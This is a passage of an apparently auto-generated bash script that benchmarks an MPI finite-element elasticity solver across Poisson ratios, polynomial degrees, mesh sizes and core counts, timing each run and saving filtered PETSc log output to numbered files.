log_files/\"276_linE_nu_0.499999_deg_2_h_13_cpu_32_run_1.log\" \n\necho \"running nu: 0.499999 p: 2 h: 13 on 32 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 2 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 13,13,13 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"277_linE_nu_0.499999_deg_2_h_13_cpu_32_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"277_linE_nu_0.499999_deg_2_h_13_cpu_32_run_2.log\" \n\necho \"running nu: 0.499999 p: 2 h: 13 on 32 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 2 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 13,13,13 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"278_linE_nu_0.499999_deg_2_h_13_cpu_32_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"278_linE_nu_0.499999_deg_2_h_13_cpu_32_run_3.log\" \n\necho \"running nu: 0.499999 p: 2 h: 38 on 32 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 2 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 38,38,38 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"279_linE_nu_0.499999_deg_2_h_38_cpu_32_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"279_linE_nu_0.499999_deg_2_h_38_cpu_32_run_1.log\" \n\necho \"running nu: 0.499999 p: 2 h: 38 on 32 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 2 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 38,38,38 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"280_linE_nu_0.499999_deg_2_h_38_cpu_32_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"280_linE_nu_0.499999_deg_2_h_38_cpu_32_run_2.log\" \n\necho \"running nu: 0.499999 p: 2 h: 38 on 32 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 2 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 38,38,38 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"281_linE_nu_0.499999_deg_2_h_38_cpu_32_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"281_linE_nu_0.499999_deg_2_h_38_cpu_32_run_3.log\" \n\necho \"running nu: 0.499999 p: 2 h: 39 on 32 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 2 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 39,39,39 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"282_linE_nu_0.499999_deg_2_h_39_cpu_32_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"282_linE_nu_0.499999_deg_2_h_39_cpu_32_run_1.log\" \n\necho \"running nu: 0.499999 p: 2 h: 39 on 32 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 2 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 39,39,39 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"283_linE_nu_0.499999_deg_2_h_39_cpu_32_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"283_linE_nu_0.499999_deg_2_h_39_cpu_32_run_2.log\" \n\necho \"running nu: 0.499999 p: 2 h: 39 on 32 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 2 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 39,39,39 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"284_linE_nu_0.499999_deg_2_h_39_cpu_32_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"284_linE_nu_0.499999_deg_2_h_39_cpu_32_run_3.log\" \n\necho \"running nu: 0.499999 p: 2 h: 110 on 32 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 2 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 110,110,110 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"285_linE_nu_0.499999_deg_2_h_110_cpu_32_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"285_linE_nu_0.499999_deg_2_h_110_cpu_32_run_1.log\" \n\necho \"running nu: 0.499999 p: 2 h: 110 on 32 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 2 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 110,110,110 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"286_linE_nu_0.499999_deg_2_h_110_cpu_32_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"286_linE_nu_0.499999_deg_2_h_110_cpu_32_run_2.log\" \n\necho \"running nu: 0.499999 p: 2 h: 110 on 32 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 2 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 110,110,110 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"287_linE_nu_0.499999_deg_2_h_110_cpu_32_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"287_linE_nu_0.499999_deg_2_h_110_cpu_32_run_3.log\" \n\necho \"running nu: 0.499999 p: 3 h: 7 on 32 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 3 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 7,7,7 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"288_linE_nu_0.499999_deg_3_h_7_cpu_32_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"288_linE_nu_0.499999_deg_3_h_7_cpu_32_run_1.log\" \n\necho \"running nu: 0.499999 p: 3 h: 7 on 32 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 3 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 7,7,7 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"289_linE_nu_0.499999_deg_3_h_7_cpu_32_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"289_linE_nu_0.499999_deg_3_h_7_cpu_32_run_2.log\" \n\necho \"running nu: 0.499999 p: 3 h: 7 on 32 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 3 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 7,7,7 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"290_linE_nu_0.499999_deg_3_h_7_cpu_32_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"290_linE_nu_0.499999_deg_3_h_7_cpu_32_run_3.log\" \n\necho \"running nu: 0.499999 p: 3 h: 8 on 32 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 3 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 8,8,8 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"291_linE_nu_0.499999_deg_3_h_8_cpu_32_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"291_linE_nu_0.499999_deg_3_h_8_cpu_32_run_1.log\" \n\necho \"running nu: 0.499999 p: 3 h: 8 on 32 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 3 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 8,8,8 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"292_linE_nu_0.499999_deg_3_h_8_cpu_32_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"292_linE_nu_0.499999_deg_3_h_8_cpu_32_run_2.log\" \n\necho \"running nu: 0.499999 p: 3 h: 8 on 32 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 3 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 8,8,8 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"293_linE_nu_0.499999_deg_3_h_8_cpu_32_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"293_linE_nu_0.499999_deg_3_h_8_cpu_32_run_3.log\" \n\necho \"running nu: 0.499999 p: 3 h: 16 on 32 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 3 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 16,16,16 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"294_linE_nu_0.499999_deg_3_h_16_cpu_32_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"294_linE_nu_0.499999_deg_3_h_16_cpu_32_run_1.log\" \n\necho \"running nu: 0.499999 p: 3 h: 16 on 32 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 3 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 16,16,16 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"295_linE_nu_0.499999_deg_3_h_16_cpu_32_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"295_linE_nu_0.499999_deg_3_h_16_cpu_32_run_2.log\" \n\necho \"running nu: 0.499999 p: 3 h: 16 on 32 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 3 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 16,16,16 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"296_linE_nu_0.499999_deg_3_h_16_cpu_32_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"296_linE_nu_0.499999_deg_3_h_16_cpu_32_run_3.log\" \n\necho \"running nu: 0.499999 p: 3 h: 17 on 32 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 3 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 17,17,17 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"297_linE_nu_0.499999_deg_3_h_17_cpu_32_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"297_linE_nu_0.499999_deg_3_h_17_cpu_32_run_1.log\" \n\necho \"running nu: 0.499999 p: 3 h: 17 on 32 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 3 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 17,17,17 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"298_linE_nu_0.499999_deg_3_h_17_cpu_32_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"298_linE_nu_0.499999_deg_3_h_17_cpu_32_run_2.log\" \n\necho \"running nu: 0.499999 p: 3 h: 17 on 32 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 3 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 17,17,17 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"299_linE_nu_0.499999_deg_3_h_17_cpu_32_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"299_linE_nu_0.499999_deg_3_h_17_cpu_32_run_3.log\" \n\necho \"running nu: 0.499999 p: 4 h: 5 on 32 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 4 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 5,5,5 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"300_linE_nu_0.499999_deg_4_h_5_cpu_32_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"300_linE_nu_0.499999_deg_4_h_5_cpu_32_run_1.log\" \n\necho \"running nu: 0.499999 p: 4 h: 5 on 32 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 4 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 5,5,5 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"301_linE_nu_0.499999_deg_4_h_5_cpu_32_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"301_linE_nu_0.499999_deg_4_h_5_cpu_32_run_2.log\" \n\necho \"running nu: 0.499999 p: 4 h: 5 on 32 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 4 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 5,5,5 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"302_linE_nu_0.499999_deg_4_h_5_cpu_32_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"302_linE_nu_0.499999_deg_4_h_5_cpu_32_run_3.log\" \n\necho \"running nu: 0.499999 p: 4 h: 6 on 32 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 4 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 6,6,6 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"303_linE_nu_0.499999_deg_4_h_6_cpu_32_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"303_linE_nu_0.499999_deg_4_h_6_cpu_32_run_1.log\" \n\necho \"running nu: 0.499999 p: 4 h: 6 on 32 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 4 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 6,6,6 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"304_linE_nu_0.499999_deg_4_h_6_cpu_32_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"304_linE_nu_0.499999_deg_4_h_6_cpu_32_run_2.log\" \n\necho \"running nu: 0.499999 p: 4 h: 6 on 32 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 4 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 6,6,6 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"305_linE_nu_0.499999_deg_4_h_6_cpu_32_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"305_linE_nu_0.499999_deg_4_h_6_cpu_32_run_3.log\" \n\necho \"running nu: 0.499999 p: 4 h: 10 on 32 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 4 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 10,10,10 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"306_linE_nu_0.499999_deg_4_h_10_cpu_32_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"306_linE_nu_0.499999_deg_4_h_10_cpu_32_run_1.log\" \n\necho \"running nu: 0.499999 p: 4 h: 10 on 32 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 4 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 10,10,10 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"307_linE_nu_0.499999_deg_4_h_10_cpu_32_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"307_linE_nu_0.499999_deg_4_h_10_cpu_32_run_2.log\" \n\necho \"running nu: 0.499999 p: 4 h: 10 on 32 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 4 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 10,10,10 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"308_linE_nu_0.499999_deg_4_h_10_cpu_32_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"308_linE_nu_0.499999_deg_4_h_10_cpu_32_run_3.log\" \n\necho \"running nu: 0.499999 p: 4 h: 11 on 32 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 4 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 11,11,11 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"309_linE_nu_0.499999_deg_4_h_11_cpu_32_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"309_linE_nu_0.499999_deg_4_h_11_cpu_32_run_1.log\" \n\necho \"running nu: 0.499999 p: 4 h: 11 on 32 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 4 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 11,11,11 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"310_linE_nu_0.499999_deg_4_h_11_cpu_32_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"310_linE_nu_0.499999_deg_4_h_11_cpu_32_run_2.log\" \n\necho \"running nu: 0.499999 p: 4 h: 11 on 32 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 32 ./elasticity -degree 4 -E 1.00e+08 -nu 0.499999 -dm_plex_box_faces 11,11,11 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"311_linE_nu_0.499999_deg_4_h_11_cpu_32_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"311_linE_nu_0.499999_deg_4_h_11_cpu_32_run_3.log\" \n\necho \"running nu: 0.3 p: 1 h: 26 on 64 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 1 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 26,26,26 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"312_linE_nu_0.3_deg_1_h_26_cpu_64_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"312_linE_nu_0.3_deg_1_h_26_cpu_64_run_1.log\" \n\necho \"running nu: 0.3 p: 1 h: 26 on 64 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 1 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 26,26,26 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"313_linE_nu_0.3_deg_1_h_26_cpu_64_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"313_linE_nu_0.3_deg_1_h_26_cpu_64_run_2.log\" \n\necho \"running nu: 0.3 p: 1 h: 26 on 64 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 1 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 26,26,26 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"314_linE_nu_0.3_deg_1_h_26_cpu_64_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"314_linE_nu_0.3_deg_1_h_26_cpu_64_run_3.log\" \n\necho \"running nu: 0.3 p: 1 h: 76 on 64 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 1 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 76,76,76 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"315_linE_nu_0.3_deg_1_h_76_cpu_64_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"315_linE_nu_0.3_deg_1_h_76_cpu_64_run_1.log\" \n\necho \"running nu: 0.3 p: 1 h: 76 on 64 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 1 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 76,76,76 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"316_linE_nu_0.3_deg_1_h_76_cpu_64_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"316_linE_nu_0.3_deg_1_h_76_cpu_64_run_2.log\" \n\necho \"running nu: 0.3 p: 1 h: 76 on 64 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 1 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 76,76,76 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"317_linE_nu_0.3_deg_1_h_76_cpu_64_run_3.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"317_linE_nu_0.3_deg_1_h_76_cpu_64_run_3.log\" \n\necho \"running nu: 0.3 p: 1 h: 77 on 64 cores run 1...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 1 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 77,77,77 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"318_linE_nu_0.3_deg_1_h_77_cpu_64_run_1.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"318_linE_nu_0.3_deg_1_h_77_cpu_64_run_1.log\" \n\necho \"running nu: 0.3 p: 1 h: 77 on 64 cores run 2...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 1 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 77,77,77 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > log_files/\"319_linE_nu_0.3_deg_1_h_77_cpu_64_run_2.log\" \ncommand\nEND=$(date +%s.%N)\nDIFF=$(echo \"$END - $START\" | bc)\necho \"script run time: \"${DIFF} >> log_files/\"319_linE_nu_0.3_deg_1_h_77_cpu_64_run_2.log\" \n\necho \"running nu: 0.3 p: 1 h: 77 on 64 cores run 3...\"\nSTART=$(date +%s.%N)\nmpirun -n 64 ./elasticity -degree 1 -E 1.00e+08 -nu 0.3 -dm_plex_box_faces 77,77,77 -forcing mms -log_view | grep \"L2 Error\\|SNES Solve Time\\|DoFs/Sec in SNES\\|Total KSP Iterations\\|Global nodes\\|Time (sec)\\|noether with\" > 